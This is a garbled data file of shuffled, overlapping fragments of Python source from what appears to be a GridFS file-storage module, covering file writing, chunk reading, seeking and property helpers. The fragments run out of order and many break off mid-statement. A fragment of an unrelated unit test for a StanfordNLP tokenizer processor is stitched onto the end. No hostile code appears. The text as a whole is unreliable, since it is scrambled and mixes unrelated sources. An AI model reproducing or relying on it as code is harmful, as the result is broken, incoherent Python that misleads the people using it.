file \" \"if an md5", "only when _buffer is complete space = self.chunk_size - self._buffer.tell()", "0) return self._file.get(field_name, None) def setter(self, value): if self._closed: self._coll.files.update_one({\"_id\":", "\"_position\", 0) object.__setattr__(self, \"_chunk_number\", 0) object.__setattr__(self, \"_closed\", False) object.__setattr__(self, \"_ensured_index\",", "self._buffer.write(to_write) if len(to_write) < space: return # EOF or incomplete", "pass self.__position -= received - size # Return 'size' bytes", "position, :attr:`os.SEEK_END` (``2``) to seek relative to the file's end.", "string if not isinstance(data, (str, bytes)): raise TypeError(\"can only write", "if read_only: docstring += \"\\n\\nThis attribute is read-only.\" elif closed_only:", "# the class like filename, use regular __setattr__ if name", "`file_document` will be given priority if present. Raises :class:`TypeError` if", "elif whence == _SEEK_CUR: new_pos = self.__position + pos elif", "+= len(data) def __flush_buffer(self): \"\"\"Flush the buffer contents out to", "to the normal :class:`~pymongo.cursor.Cursor`. Should not be called directly by", "being written. Due to buffering, the data may not actually", "= kwargs.pop(\"content_type\") if \"chunk_size\" in kwargs: kwargs[\"chunkSize\"] = kwargs.pop(\"chunk_size\") coll", "the file will be converted to :class:`bytes`. :Parameters: - `root_collection`:", "AttributeError(\"can only get %r on a closed file\" % field_name)", "read_only=True) filename = _grid_in_property(\"filename\", \"Name of this file.\") name =", "try: # file-like read = data.read except AttributeError: # string", ".. versionchanged:: 3.0 Creating a GridOut does not immediately retrieve", "str): try: data = data.encode(self.encoding) except AttributeError: raise TypeError(\"must specify", "current position, :attr:`os.SEEK_END` (``2``) to seek relative to the file's", "use :class:`GridOut` files with the context manager protocol. \"\"\" self.close()", "method :meth:`~gridfs.GridFS.find` instead. .. versionadded 2.7 .. seealso:: The MongoDB", "= collection super(GridOutCursor, self).__init__( collection.files, filter, skip=skip, limit=limit, no_cursor_timeout=no_cursor_timeout, sort=sort,", "object.__setattr__(self, \"_coll\", coll) object.__setattr__(self, \"_chunks\", coll.chunks) object.__setattr__(self, \"_file\", kwargs) object.__setattr__(self,", "collection to write to - `session` (optional): a :class:`~pymongo.client_session.ClientSession` to", "remove_option(self, *args, **kwargs): raise NotImplementedError(\"Method does not exist for GridOutCursor\")", "\"\"\" received = len(self.__buffer) chunk_data = EMPTY chunk_size = int(self.chunk_size)", "which will be encoded as :attr:`encoding` before being written. Due", "size = received + pos + 1 received += len(chunk_data)", "using relative positioning) to seek to - `whence` (optional): where", "not self._closed: self.__flush() object.__setattr__(self, \"_closed\", True) def read(self, size=-1): raise", "self._cursor: self._cursor.close() self._cursor = None class GridOutIterator(object): def __init__(self, grid_out,", "it can lead to a deadlock. def __del__(self): pass class", "collection, filter=None, skip=0, limit=0, no_cursor_timeout=False, sort=None, batch_size=0, session=None): \"\"\"Create a", "= chunk[\"data\"][self.__position % chunk_size:] if not chunk_data: raise CorruptGridFile(\"truncated chunk\")", "a missing chunk. .. versionchanged:: 4.0 The iterator now iterates", "attribute is read-only.\" elif closed_only: docstring = \"%s\\n\\n%s\" % (docstring,", "self._file, session=self._session) except DuplicateKeyError: self._raise_file_exists(self._id) def _raise_file_exists(self, file_id): \"\"\"Raise a", "if self.__chunk_iter: self.__chunk_iter.close() self.__chunk_iter = None def seekable(self): return True", "According to spec, ignore extra chunks if they are empty.", "return property(getter, doc=docstring) def _grid_out_property(field_name, docstring): \"\"\"Create a GridOut property.\"\"\"", "session): self.__chunk_iter = _GridOutChunkIterator(grid_out, chunks, session, 0) def __iter__(self): return", "for `filename`.\") content_type = _grid_in_property(\"contentType\", \"Mime-type for this file.\") length", "Raises :class:`ValueError` if this file is already closed. Raises :class:`TypeError`", "retrieve the file metadata from the server. Metadata is fetched", "except DuplicateKeyError: self._raise_file_exists(self._id) def _raise_file_exists(self, file_id): \"\"\"Raise a FileExists exception", "_grid_in_property(\"md5\", \"MD5 of the contents of this file \" \"if", "def __init__(self, grid_out, chunks, session): self.__chunk_iter = _GridOutChunkIterator(grid_out, chunks, session,", "for this file.\", read_only=True) upload_date = _grid_in_property(\"uploadDate\", \"Date that this", "is complete space = self.chunk_size - self._buffer.tell() if space: try:", "on every call. \"\"\" self._ensure_file() remainder = int(self.length) - self.__position", "super(GridOutCursor, self).__init__( collection.files, filter, skip=skip, limit=limit, no_cursor_timeout=no_cursor_timeout, sort=sort, batch_size=batch_size, session=session)", "sum was created.\", closed_only=True) def __getattr__(self, name): if name in", "{\"$set\": {name: value}}) def __flush_data(self, data): \"\"\"Flush `data` to a", "pymongo.errors import (ConfigurationError, CursorNotFound, DuplicateKeyError, InvalidOperation, OperationFailure) from pymongo.read_preferences import", "field_name == 'length': return self._file.get(field_name, 0) return self._file.get(field_name, None) def", "chunk = {\"files_id\": self._file[\"_id\"], \"n\": self._chunk_number, \"data\": Binary(data)} try: self._chunks.insert_one(chunk,", "self.__chunk_iter: self.__chunk_iter.close() self.__chunk_iter = None def seekable(self): return True def", "\"\"\"Flush the buffer contents out to a chunk. \"\"\" self.__flush_data(self._buffer.getvalue())", "License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by", "raise ConfigurationError('root_collection must use ' 'acknowledged write_concern') _disallow_transactions(session) # Handle", "in index_keys: collection.create_index( index_key.items(), unique=unique, session=self._session) def __ensure_indexes(self): if not", "read all the chunks in the file. .. versionchanged:: 3.6", "cannot be written any more. Calling :meth:`close` more than once", "b\"\" NEWLN = b\"\\n\" \"\"\"Default chunk size, in bytes.\"\"\" #", "the database. \"\"\" try: self.__flush_buffer() # The GridFS spec says", "None: self.__chunk_iter = _GridOutChunkIterator( self, self.__chunks, self._session, chunk_number) chunk =", "int(self.chunk_size) if received > 0: chunk_data = self.__buffer elif self.__position", "after :meth:`close` \" \"has been called.\") if not read_only and", "3.6 Added ``session`` parameter. .. versionchanged:: 3.0 `root_collection` must use", "AttributeError: # string if not isinstance(data, (str, bytes)): raise TypeError(\"can", "def __enter__(self): \"\"\"Makes it possible to use :class:`GridOut` files with", "iterable\" issue in Python 3.x next_file = super(GridOutCursor, self).next() return", "if self._closed: self._coll.files.update_one({\"_id\": self._file[\"_id\"]}, {\"$set\": {name: value}}) def __flush_data(self, data):", "of this file \" \"if an md5 sum was created.\",", "type registry.\"\"\" codecopts = entity.codec_options.with_options(type_registry=None) return entity.with_options(codec_options=codecopts, **kwargs) def _disallow_transactions(session):", "data: return assert(len(data) <= self.chunk_size) chunk = {\"files_id\": self._file[\"_id\"], \"n\":", "def read(self, size=-1): \"\"\"Read at most `size` bytes from the", "(default: 255 kb) - ``\"encoding\"``: encoding used for this file.", "size of each of the chunks, in bytes (default: 255", "CorruptGridFile, FileExists, NoFile try: _SEEK_SET = os.SEEK_SET _SEEK_CUR = os.SEEK_CUR", "_grid_in_property(\"chunkSize\", \"Chunk size for this file.\", read_only=True) upload_date = _grid_in_property(\"uploadDate\",", "an md5 sum was created.\") def _ensure_file(self): if not self._file:", "if doc is None: try: index_keys = [index_spec['key'] for index_spec", "read_only: docstring += \"\\n\\nThis attribute is read-only.\" elif closed_only: docstring", "io.BytesIO() while received < size: chunk_data = self.readchunk() received +=", "with n=%d\" % (self._num_chunks, chunk[\"n\"])) expected_length = self.expected_chunk_length(chunk[\"n\"]) if len(chunk[\"data\"])", "data.read() data.seek(0) return data.read(size) def tell(self): \"\"\"Return the current position", "name in self._file: return self._file[name] raise AttributeError(\"GridOut object has no", "GridIn property.\"\"\" def getter(self): if closed_only and not self._closed: raise", "sent to server on close() or if closed, send #", "a FileExists exception for the given file_id.\"\"\" raise FileExists(\"file with", "I/O. # We cannot do I/O in __del__ since it", "from pymongo import ASCENDING from pymongo.collection import Collection from pymongo.cursor", "must use an acknowledged :attr:`~pymongo.collection.Collection.write_concern` \"\"\" if not isinstance(root_collection, Collection):", "- `pos`: the position (or offset if using relative positioning)", "pos else: raise IOError(22, \"Invalid value for `whence`\") if new_pos", "closed_only: return property(getter, setter, doc=docstring) return property(getter, doc=docstring) def _grid_out_property(field_name,", "self._chunk_number += 1 self._position += len(data) def __flush_buffer(self): \"\"\"Flush the", "def _grid_out_property(field_name, docstring): \"\"\"Create a GridOut property.\"\"\" def getter(self): self._ensure_file()", "(optional): file level options (see above) .. versionchanged:: 4.0 Removed", "\"\"\"Is this file closed? \"\"\" return self._closed _id = _grid_in_property(\"_id\",", "manager protocol. \"\"\" self.close() return False def fileno(self): raise io.UnsupportedOperation('fileno')", "`size` bytes from the file (less if there isn't enough", "``'_id'`` value for this file.\", read_only=True) filename = _grid_in_property(\"filename\", \"Name", "chunk[\"data\"][self.__position % chunk_size:] if not chunk_data: raise CorruptGridFile(\"truncated chunk\") self.__position", "Use :meth:`GridOut.readchunk` to read chunk by chunk instead of line", "raise io.UnsupportedOperation('writelines') def writable(self): return False def __enter__(self): \"\"\"Makes it", "to a deadlock. def __del__(self): pass class _GridOutChunkIterator(object): \"\"\"Iterates over", "single cursor to read all the chunks in the file.", "to raise. raise io.UnsupportedOperation('truncate') # Override IOBase.__del__ otherwise it will", "self._closed _id = _grid_in_property(\"_id\", \"The ``'_id'`` value for this file.\",", "not iterable\" issue in Python 3.x next_file = super(GridOutCursor, self).next()", "as :attr:`encoding` before being written. Due to buffering, the data", "Version 2.0 (the \"License\"); # you may not use this", "License. \"\"\"Tools for representing files stored in GridFS.\"\"\" import datetime", "Collection\") _disallow_transactions(session) root_collection = _clear_entity_type_registry(root_collection) super().__init__() self.__chunks = root_collection.chunks self.__files", "file. Any :class:`str` that is written to the file will", "next GridOut object from cursor. \"\"\" _disallow_transactions(self.session) # Work around", "remainder and self.__chunk_iter: try: self.__chunk_iter.next() except StopIteration: pass self.__position -=", "_grid_out_property(\"length\", \"Length (in bytes) of this file.\") chunk_size = _grid_out_property(\"chunkSize\",", "nothing. pass def isatty(self): return False def truncate(self, size=None): #", "import Binary from bson.objectid import ObjectId from pymongo import ASCENDING", "root_collection.write_concern.acknowledged: raise ConfigurationError('root_collection must use ' 'acknowledged write_concern') _disallow_transactions(session) #", "read_only=True) upload_date = _grid_in_property(\"uploadDate\", \"Date that this file was uploaded.\",", "Copyright 2009-present MongoDB, Inc. # # Licensed under the Apache", "io.BytesIO() while received < size: chunk_data = self.readchunk() pos =", ":attr:`os.SEEK_END` (``2``) to seek relative to the file's end. \"\"\"", "returning GridOut objects as the result of an arbitrary query", "CorruptGridFile( \"Missing chunk: expected chunk #%d but found \" \"chunk", "self.__position if size < 0 or size > remainder: size", "= kwargs.get(\"_id\", ObjectId()) kwargs[\"chunkSize\"] = kwargs.get(\"chunkSize\", DEFAULT_CHUNK_SIZE) object.__setattr__(self, \"_session\", session)", "in self._file: return self._file[name] raise AttributeError(\"GridIn object has no attribute", "return self._file.get(field_name, None) def setter(self, value): if self._closed: self._coll.files.update_one({\"_id\": self._file[\"_id\"]},", "exc_type, exc_val, exc_tb): \"\"\"Makes it possible to use :class:`GridOut` files", "to this file.\") md5 = _grid_out_property(\"md5\", \"MD5 of the contents", "If the file has an :attr:`encoding` attribute, `data` can also", "or extra chunk in a file. The previous behavior was", "after reading the entire file. Previously, this method would check", "self._cursor.close() self._create_cursor() return self._cursor.next() def next(self): try: chunk = self._next_with_retry()", "by applicable law or agreed to in writing, software #", "if space: try: to_write = read(space) except: self.abort() raise self._buffer.write(to_write)", "send # them now. self._file[name] = value if self._closed: self._coll.files.update_one({\"_id\":", "file in gridfs collection %r with _id %r\" % (self.__files,", "% (docstring, \"This attribute is read-only and \" \"can only", "are part of the document in db.fs.files. # Store them", "line or up to `size` bytes from the file. :Parameters:", "<= self.chunk_size) chunk = {\"files_id\": self._file[\"_id\"], \"n\": self._chunk_number, \"data\": Binary(data)}", "to use for all commands - `**kwargs` (optional): file level", ":class:`str` that is written to the file will be converted", "self.chunk_size - self._buffer.tell() if space: try: to_write = read(space) except:", "file_id=None, file_document=None, session=None): \"\"\"Read a file from GridFS Application developers", "\"%s\\n\\n%s\" % (docstring, \"This attribute is read-only and \" \"can", "/ chunk_size) if self.__chunk_iter is None: self.__chunk_iter = _GridOutChunkIterator( self,", "of this file. \"\"\" return self.__position def seek(self, pos, whence=_SEEK_SET):", "TypeError(\"root_collection must be an \" \"instance of Collection\") if not", "\"\"\" if not isinstance(root_collection, Collection): raise TypeError(\"root_collection must be an", "for extra chunks on every call. \"\"\" self._ensure_file() remainder =", "\"The ``'_id'`` value for this file.\", read_only=True) filename = _grid_in_property(\"filename\",", "self._num_chunks: # According to spec, ignore extra chunks if they", "len(chunk[\"data\"]))) self._next_chunk += 1 return chunk __next__ = next def", "serving files using a webserver that handles such an iterator", "in a file. The previous behavior was to only raise", "chunk. \"\"\" self.__ensure_indexes() if not data: return assert(len(data) <= self.chunk_size)", "if not self._closed: self.__flush() object.__setattr__(self, \"_closed\", True) def read(self, size=-1):", "the context manager protocol. \"\"\" return self def __exit__(self, exc_type,", "TypeError(\"root_collection must be an \" \"instance of Collection\") _disallow_transactions(session) root_collection", "isn't enough data). The bytes are returned as an instance", "this file \" \"if an md5 sum was created.\", closed_only=True)", "representing files stored in GridFS.\"\"\" import datetime import io import", "the methods provided by :class:`~gridfs.GridFS`. Raises :class:`TypeError` if `root_collection` is", "\"\"\" self.__flush_data(self._buffer.getvalue()) self._buffer.close() self._buffer = io.BytesIO() def __flush(self): \"\"\"Flush the", "Collection\") if not root_collection.write_concern.acknowledged: raise ConfigurationError('root_collection must use ' 'acknowledged", "docstring = \"%s\\n\\n%s\" % (docstring, \"This attribute is read-only and", "developers should generally not need to instantiate this class directly", "= value if read_only: docstring += \"\\n\\nThis attribute is read-only.\"", "now. self._file[name] = value if self._closed: self._coll.files.update_one({\"_id\": self._file[\"_id\"]}, {\"$set\": {name:", "``b'\\\\n'``) of :class:`bytes`. This can be useful when serving files", "called directly by application developers - see the :class:`~gridfs.GridFS` method", "to use for all commands .. versionchanged:: 3.8 For better", "True) def read(self, size=-1): raise io.UnsupportedOperation('read') def readable(self): return False", "spec, :class:`GridOut` now uses a single cursor to read all", "document. Valid keyword arguments include: - ``\"_id\"``: unique ID for", "`data` is not an instance of :class:`bytes`, a file-like object,", "value}}) self._file[field_name] = value if read_only: docstring += \"\\n\\nThis attribute", "1: return self._chunk_size return self._length - (self._chunk_size * (self._num_chunks -", "index_keys: collection.create_index( index_key.items(), unique=unique, session=self._session) def __ensure_indexes(self): if not object.__getattribute__(self,", "@property def closed(self): \"\"\"Is this file closed? \"\"\" return self._closed", "enough data). The bytes are returned as an instance of", "self.__position def seek(self, pos, whence=_SEEK_SET): \"\"\"Set the current position of", "current position of this file. :Parameters: - `pos`: the position", ":meth:`read`). If the file has an :attr:`encoding` attribute, `data` can", "name = _grid_in_property(\"filename\", \"Alias for `filename`.\") content_type = _grid_in_property(\"contentType\", \"Mime-type", "to_write = read(self.chunk_size) while to_write and len(to_write) == self.chunk_size: self.__flush_data(to_write)", "object has no attribute '%s'\" % name) def __setattr__(self, name,", "or descriptors set on # the class like filename, use", "def getter(self): self._ensure_file() # Protect against PHP-237 if field_name ==", "to seek to - `whence` (optional): where to seek from.", "file - ``\"chunkSize\"`` or ``\"chunk_size\"``: size of each of the", "not in index_keys: collection.create_index( index_key.items(), unique=unique, session=self._session) def __ensure_indexes(self): if", "pymongo.collection import Collection from pymongo.cursor import Cursor from pymongo.errors import", "buffering, the data may not actually be written to the", "documentation on `cursors <https://dochub.mongodb.org/core/cursors>`_. \"\"\" _disallow_transactions(session) collection = _clear_entity_type_registry(collection) #", "io.UnsupportedOperation('truncate') # Override IOBase.__del__ otherwise it will lead to __getattr__", "applicable law or agreed to in writing, software # distributed", "chunk with length %d\" % ( chunk[\"n\"], expected_length, len(chunk[\"data\"]))) self._next_chunk", "an \" \"instance of Collection\") _disallow_transactions(session) root_collection = _clear_entity_type_registry(root_collection) super().__init__()", "that may have been uploaded and close. \"\"\" self._coll.chunks.delete_many( {\"files_id\":", "index_keys = [index_spec['key'] for index_spec in collection.list_indexes(session=self._session)] except OperationFailure: index_keys", "versionchanged:: 3.7 Added the `disable_md5` parameter. .. versionchanged:: 3.6 Added", "transactions') class GridIn(object): \"\"\"Class to write data to GridFS. \"\"\"", "bytes.\"\"\" # Slightly under a power of 2, to work", "instead of line by line. \"\"\" return self def close(self):", "the file \"\"\" if self._closed: raise ValueError(\"cannot write to a", "if chunk[\"n\"] >= self._num_chunks: # According to spec, ignore extra", "_disallow_transactions(self.session) # Work around \"super is not iterable\" issue in", ":class:`bytes`. :Parameters: - `root_collection`: root collection to write to -", "before 2.5 except AttributeError: _SEEK_SET = 0 _SEEK_CUR = 1", "of :class:`bytes`. This can be useful when serving files using", "md5 sum was created.\", closed_only=True) def __getattr__(self, name): if name", "before being written. Due to buffering, the data may not", "kwargs: kwargs[\"contentType\"] = kwargs.pop(\"content_type\") if \"chunk_size\" in kwargs: kwargs[\"chunkSize\"] =", "getter(self): self._ensure_file() # Protect against PHP-237 if field_name == 'length':", "isinstance(data, (str, bytes)): raise TypeError(\"can only write strings or file-like", "file. Previously, this method would check for extra chunks on", "\"\"\"Write data to the file. There is no return value.", "data.seek(size) self.__buffer = data.read() data.seek(0) return data.read(size) def readline(self, size=-1):", "3.6 Added ``session`` parameter. .. versionchanged:: 3.0 Creating a GridOut", "space: return # EOF or incomplete self.__flush_buffer() to_write = read(self.chunk_size)", "%d chunks but found \" \"chunk with n=%d\" % (self._num_chunks,", "return self._file.get(field_name, 0) return self._file.get(field_name, None) docstring += \"\\n\\nThis attribute", "value of ``\"_id\"`` for the file to read - `file_document`", "self.__files.find_one({\"_id\": self.__file_id}, session=self._session) if not self._file: raise NoFile(\"no file in", "instance of :class:`str`. Unicode data is only allowed if the", "be an \" \"instance of Collection\") _disallow_transactions(session) root_collection = _clear_entity_type_registry(root_collection)", "data.write(chunk_data) # Detect extra chunks after reading the entire file.", "retry on CursorNotFound to maintain backwards compatibility in cases where", "None: try: index_keys = [index_spec['key'] for index_spec in collection.list_indexes(session=self._session)] except", "# You may obtain a copy of the License at", "to_write = read(self.chunk_size) self._buffer.write(to_write) def writelines(self, sequence): \"\"\"Write a sequence", "= self.expected_chunk_length(chunk[\"n\"]) if len(chunk[\"data\"]) != expected_length: self.close() raise CorruptGridFile( \"truncated", "def expected_chunk_length(self, chunk_n): if chunk_n < self._num_chunks - 1: return", "self.chunk_size) chunk = {\"files_id\": self._file[\"_id\"], \"n\": self._chunk_number, \"data\": Binary(data)} try:", "this file.\") length = _grid_in_property(\"length\", \"Length (in bytes) of this", "file_document self._session = session _id = _grid_out_property(\"_id\", \"The ``'_id'`` value", "writeable(self): return True def __enter__(self): \"\"\"Support for the context manager", "self._buffer.tell() > 0: # Make sure to flush only when", "self.__files = root_collection.files self.__file_id = file_id self.__buffer = EMPTY self.__chunk_iter", "if closed_only and not self._closed: raise AttributeError(\"can only get %r", "where to seek from. :attr:`os.SEEK_SET` (``0``) for absolute file positioning,", "self._buffer = io.BytesIO() def __flush(self): \"\"\"Flush the file to the", "data.read except AttributeError: # string if not isinstance(data, (str, bytes)):", "def abort(self): \"\"\"Remove all chunks/files that may have been uploaded", "level options specified in the `GridFS Spec <http://dochub.mongodb.org/core/gridfsspec>`_ may be", "self.__chunk_iter = None def seekable(self): return True def __iter__(self): \"\"\"Return", "codecopts = entity.codec_options.with_options(type_registry=None) return entity.with_options(codec_options=codecopts, **kwargs) def _disallow_transactions(session): if session", "writelines(self, lines): raise io.UnsupportedOperation('writelines') def writable(self): return False def __enter__(self):", "the current position of this file. :Parameters: - `pos`: the", "the file (less if there isn't enough data). The bytes", "import ObjectId from pymongo import ASCENDING from pymongo.collection import Collection", "session self._next_chunk = next_chunk self._num_chunks = math.ceil(float(self._length) / self._chunk_size) self._cursor", "name) def readable(self): return True def readchunk(self): \"\"\"Reads a chunk", "if self._cursor is None: self._create_cursor() try: return self._cursor.next() except CursorNotFound:", "self._num_chunks: raise raise CorruptGridFile(\"no chunk #%d\" % self._next_chunk) if chunk[\"n\"]", "collection to read from - `file_id` (optional): value of ``\"_id\"``", "be written to the file \"\"\" if self._closed: raise ValueError(\"cannot", "so flush does nothing. pass def isatty(self): return False def", "the chunk is returned. \"\"\" received = len(self.__buffer) chunk_data =", "method would check for extra chunks on every call. \"\"\"", "be an \" \"instance of Collection\") if not root_collection.write_concern.acknowledged: raise", "a deadlock. def __del__(self): pass class _GridOutChunkIterator(object): \"\"\"Iterates over a", "self.__chunk_iter = None super().close() def write(self, value): raise io.UnsupportedOperation('write') def", "apart (the server's default cursor timeout). \"\"\" if self._cursor is", "file document from `root_collection.files` - `session` (optional): a :class:`~pymongo.client_session.ClientSession` to", "whence=_SEEK_SET): \"\"\"Set the current position of this file. :Parameters: -", "= self.readchunk() pos = chunk_data.find(NEWLN, 0, size) if pos !=", "True def __iter__(self): \"\"\"Return an iterator over all of this", "next_chunk self._num_chunks = math.ceil(float(self._length) / self._chunk_size) self._cursor = None def", "a chunk the remainder of the chunk is returned. \"\"\"", "**kwargs): raise NotImplementedError(\"Method does not exist for GridOutCursor\") def remove_option(self,", "Added ``session`` parameter. .. versionchanged:: 3.0 Creating a GridOut does", "root_collection.chunks self.__files = root_collection.files self.__file_id = file_id self.__buffer = EMPTY", "pass def isatty(self): return False def truncate(self, size=None): # See", ":class:`CorruptGridFile` on a missing chunk. .. versionchanged:: 4.0 The iterator", "that is written to the file will be converted to", "space: try: to_write = read(space) except: self.abort() raise self._buffer.write(to_write) if", "of ``\"_id\"`` for the file to read - `file_document` (optional):", "# for why truncate has to raise. raise io.UnsupportedOperation('truncate') #", "= os.SEEK_CUR _SEEK_END = os.SEEK_END # before 2.5 except AttributeError:", "CursorNotFound, DuplicateKeyError, InvalidOperation, OperationFailure) from pymongo.read_preferences import ReadPreference from gridfs.errors", "a :class:`str` instance, which will be encoded as :attr:`encoding` before", "object.__setattr__(self, \"_ensured_index\", True) def abort(self): \"\"\"Remove all chunks/files that may", "for the context manager protocol. \"\"\" return self def __exit__(self,", "(delimited by ``b'\\\\n'``) of :class:`bytes`. This can be useful when", "def truncate(self, size=None): # See https://docs.python.org/3/library/io.html#io.IOBase.writable # for why truncate", "file \" \"if an md5 sum was created.\", closed_only=True) def", "arbitrary query against the GridFS files collection. \"\"\" def __init__(self,", "the current position, :attr:`os.SEEK_END` (``2``) to seek relative to the", "_grid_in_property(\"filename\", \"Alias for `filename`.\") content_type = _grid_in_property(\"contentType\", \"Mime-type for this", "in self.__dict__ or name in self.__class__.__dict__: object.__setattr__(self, name, value) else:", "session=self._session) except DuplicateKeyError: self._raise_file_exists(self._id) def _raise_file_exists(self, file_id): \"\"\"Raise a FileExists", "return self def _create_cursor(self): filter = {\"files_id\": self._id} if self._next_chunk", "file and allow exceptions to propagate. \"\"\" self.close() # propagate", "parameter. See :ref:`removed-gridfs-checksum` for details. .. versionchanged:: 3.7 Added the", "called. Raises :class:`ValueError` if this file is already closed. Raises", "This method now only checks for extra chunks after reading", "coll = _clear_entity_type_registry( root_collection, read_preference=ReadPreference.PRIMARY) # Defaults kwargs[\"_id\"] = kwargs.get(\"_id\",", "- self.__position if size < 0 or size > remainder:", "be read after :meth:`close` \" \"has been called.\") if not", "the context manager protocol. \"\"\" self.close() return False def fileno(self):", "files stored in GridFS.\"\"\" import datetime import io import math", ":Parameters: - `size` (optional): the number of bytes to read", "self._cursor.next() except CursorNotFound: self._cursor.close() self._create_cursor() return self._cursor.next() def next(self): try:", "def writeable(self): return True def __enter__(self): \"\"\"Support for the context", "GridOut more generically file-like.\"\"\" if self.__chunk_iter: self.__chunk_iter.close() self.__chunk_iter = None", "= _GridOutChunkIterator(grid_out, chunks, session, 0) def __iter__(self): return self def", "self.__position) / chunk_size) if self.__chunk_iter is None: self.__chunk_iter = _GridOutChunkIterator(", "grid_out._id self._chunk_size = int(grid_out.chunk_size) self._length = int(grid_out.length) self._chunks = chunks", "value}}) def __flush_data(self, data): \"\"\"Flush `data` to a chunk. \"\"\"", "\"License\"); # you may not use this file except in", "closed, send # them now. self._file[name] = value if self._closed:", "__getattr__ on # __IOBase_closed which calls _ensure_file and potentially performs", "CorruptGridFile(\"no chunk #%d\" % self._next_chunk) if chunk[\"n\"] != self._next_chunk: self.close()", "\"The ``'_id'`` value for this file.\") filename = _grid_out_property(\"filename\", \"Name", "self.__buffer = EMPTY if self.__chunk_iter: self.__chunk_iter.close() self.__chunk_iter = None def", "the :class:`~gridfs.GridFS` method :meth:`~gridfs.GridFS.find` instead. .. versionadded 2.7 .. seealso::", "raise FileExists(\"file with _id %r already exists\" % file_id) def", "__flush_buffer(self): \"\"\"Flush the buffer contents out to a chunk. \"\"\"", "0, size) if pos != -1: size = received +", "seperators. \"\"\" for line in sequence: self.write(line) def writeable(self): return", "< 0 or size > remainder: size = remainder if", "return entity.with_options(codec_options=codecopts, **kwargs) def _disallow_transactions(session): if session and session.in_transaction: raise", "attributes are part of the document in db.fs.files. # Store", "self._file.get(field_name, 0) return self._file.get(field_name, None) def setter(self, value): if self._closed:", "self.write(line) def writeable(self): return True def __enter__(self): \"\"\"Support for the", "self._file.get(field_name, None) def setter(self, value): if self._closed: self._coll.files.update_one({\"_id\": self._file[\"_id\"]}, {\"$set\":", "= EMPTY return chunk_data def read(self, size=-1): \"\"\"Read at most", "if index_key not in index_keys: collection.create_index( index_key.items(), unique=unique, session=self._session) def", "is not an instance of :class:`~pymongo.collection.Collection`. Any of the file", "raise IOError(22, \"Invalid value for `whence`\") if new_pos < 0:", "if self.__chunk_iter: self.__chunk_iter.close() self.__chunk_iter = None super().close() def write(self, value):", "isinstance(data, str): try: data = data.encode(self.encoding) except AttributeError: raise TypeError(\"must", "os.SEEK_END # before 2.5 except AttributeError: _SEEK_SET = 0 _SEEK_CUR", "must be positive\") # Optimization, continue using the same buffer", "= int(grid_out.length) self._chunks = chunks self._session = session self._next_chunk =", "pos elif whence == _SEEK_END: new_pos = int(self.length) + pos", "% name) def readable(self): return True def readchunk(self): \"\"\"Reads a", "of Collection\") _disallow_transactions(session) root_collection = _clear_entity_type_registry(root_collection) super().__init__() self.__chunks = root_collection.chunks", "math.ceil(float(self._length) / self._chunk_size) self._cursor = None def expected_chunk_length(self, chunk_n): if", "cursor to read all the chunks in the file. ..", "(``0``) for absolute file positioning, :attr:`os.SEEK_CUR` (``1``) to seek relative", "``\"encoding\"``: encoding used for this file. Any :class:`str` that is", "self._raise_file_exists(self._file['_id']) self._chunk_number += 1 self._position += len(data) def __flush_buffer(self): \"\"\"Flush", ":attr:`encoding` attribute. :Parameters: - `data`: string of bytes or file-like", "chunks, session, next_chunk): self._id = grid_out._id self._chunk_size = int(grid_out.chunk_size) self._length", "# __IOBase_closed which calls _ensure_file and potentially performs I/O. #", "chunks, session, 0) def __iter__(self): return self def next(self): chunk", "\"Date that this file was uploaded.\", closed_only=True) md5 = _grid_in_property(\"md5\",", "base class :py:class:`io.IOBase`. Use :meth:`GridOut.readchunk` to read chunk by chunk", "<https://dochub.mongodb.org/core/cursors>`_. \"\"\" _disallow_transactions(session) collection = _clear_entity_type_registry(collection) # Hold on to", "'%s'\" % name) def readable(self): return True def readchunk(self): \"\"\"Reads", "file (default: :class:`~bson.objectid.ObjectId`) - this ``\"_id\"`` must not have already", "chunk_size:] if not chunk_data: raise CorruptGridFile(\"truncated chunk\") self.__position += len(chunk_data)", "behavior was to only raise :class:`CorruptGridFile` on a missing chunk.", "def fileno(self): raise io.UnsupportedOperation('fileno') def flush(self): # GridOut is read-only,", "%d but \" \"found chunk with length %d\" % (", "(optional): the number of bytes to read .. versionchanged:: 3.8", "Metadata is fetched when first needed. \"\"\" if not isinstance(root_collection,", "once is allowed. \"\"\" if not self._closed: self.__flush() object.__setattr__(self, \"_closed\",", "+= \"\\n\\nThis attribute is read-only.\" return property(getter, doc=docstring) def _clear_entity_type_registry(entity," ]
[ "class TestStanfordNLPProcessor(unittest.TestCase): def setUp(self): self.stanford_nlp = Pipeline() self.stanford_nlp.set_reader(StringReader()) models_path =", "this easy before.\"] document = ' '.join(sentences) pack = self.stanford_nlp.process(document)", "processors.\"\"\" import os import unittest from texar.torch import HParams from", "been made this easy before.\"] document = ' '.join(sentences) pack", "Sentence class TestStanfordNLPProcessor(unittest.TestCase): def setUp(self): self.stanford_nlp = Pipeline() self.stanford_nlp.set_reader(StringReader()) models_path", "os.getcwd() config = HParams({ \"processors\": \"tokenize\", \"lang\": \"en\", # Language", "os import unittest from texar.torch import HParams from forte.pipeline import", "called Forte.\", \"The goal of this project to help you", "ft.onto.base_ontology import Token, Sentence class TestStanfordNLPProcessor(unittest.TestCase): def setUp(self): self.stanford_nlp =", "needing to download models \" \"everytime\") def test_stanford_processor(self): sentences =", "need to test this without needing to download models \"", "models_path = os.getcwd() config = HParams({ \"processors\": \"tokenize\", \"lang\": \"en\",", "code for the language to build the Pipeline \"use_gpu\": False", "forte.processors.stanfordnlp_processor import StandfordNLPProcessor from ft.onto.base_ontology import Token, Sentence class TestStanfordNLPProcessor(unittest.TestCase):", "has never been made this easy before.\"] document = '", "Pipeline() self.stanford_nlp.set_reader(StringReader()) models_path = os.getcwd() config = HParams({ \"processors\": \"tokenize\",", "Pipeline from forte.data.readers import StringReader from forte.processors.stanfordnlp_processor import StandfordNLPProcessor from", "of this project to help you build NLP \" \"pipelines.\",", "from forte.pipeline import Pipeline from forte.data.readers import StringReader from forte.processors.stanfordnlp_processor", "import StandfordNLPProcessor from ft.onto.base_ontology import Token, Sentence class TestStanfordNLPProcessor(unittest.TestCase): def", "easy before.\"] document = ' '.join(sentences) pack = self.stanford_nlp.process(document) print(pack)", "project to help you build NLP \" \"pipelines.\", \"NLP has", "config=config) self.stanford_nlp.initialize() # TODO @unittest.skip(\"We need to test this without", "\"NLP has never been made this easy before.\"] document =", "from forte.data.readers import StringReader from forte.processors.stanfordnlp_processor import StandfordNLPProcessor from ft.onto.base_ontology", "NLP processors.\"\"\" 